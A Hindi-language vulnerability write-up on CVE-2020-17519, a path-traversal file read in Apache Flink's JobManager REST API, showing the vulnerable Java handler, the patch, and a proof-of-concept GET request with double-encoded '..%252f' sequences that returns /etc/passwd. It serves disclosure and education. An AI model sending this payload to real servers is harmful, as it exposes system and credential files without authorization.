CVE-2020-17519

[CVE-2020-17519] Apache Flink RESTful API मनमाना फ़ाइल पढ़ना

---

Apache Flink एक फ्रेमवर्क और वितरित प्रसंस्करण इंजन है जो Java और Scala का उपयोग करके विकसित किया गया है, जो असीमित और सीमित डेटा स्ट्रीम पर स्टेटफुल गणनाओं के लिए है। Apache Flink 1.11.0 में पेश किया गया एक बदलाव (और 1.11.1 और 1.11.2 में भी जारी) हमलावरों को JobManager प्रक्रिया के RESTful API के माध्यम से JobManager के स्थानीय फ़ाइल सिस्टम पर किसी भी फ़ाइल को पढ़ने की अनुमति देता है। फ़ाइल सिस्टम तक पहुंच JobManager प्रक्रिया द्वारा सुलभ फ़ाइलों तक सीमित होती है।

जबकि 1.11.0 - 1.11.2 के बीच के सभी संस्करण संबंधित भेद्यता से प्रभावित हैं, Apache Flink ने 1.11.3 और उससे ऊपर के संस्करणों के लिए भेद्यता को ठीक कर दिया है।

भेद्य कोड src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java वर्ग है। संबंधित कोड स्निपेट नीचे दिया गया है।

		if (logDir == null) {
			return null;
		}
		String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		return new File(logDir, filename);
	}
}

समस्या यह है कि अनुरोध हैंडलर फ़ाइल पथ तक सीधी पहुंच सक्षम करता है। इस कमिट के साथ, कोड की भेद्य पंक्ति को नीचे दिखाए अनुसार बदल दिया गया है। नीचे दिए गए कोड स्निपेट में, भेद्य पंक्ति को टिप्पणी पंक्ति के रूप में चिह्नित किया गया है।

		if (logDir == null) {
			return null;
		}
		// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
		return new File(logDir, filename);
	}
}

प्रूफ़ ऑफ़ कॉन्सेप्ट (PoC): इस भेद्यता का शोषण करने के लिए, आप निम्नलिखित अनुरोध का उपयोग कर सकते हैं:

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

उपरोक्त अनुरोध का प्रतिक्रिया नीचे दी गई है:

HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

इसके अलावा, CVE-2020-17519 के लिए एक मेटास्प्लॉइट मॉड्यूल Excellent रैंकिंग के साथ उपलब्ध है। आप रूबी कोड यहाँ पा सकते हैं।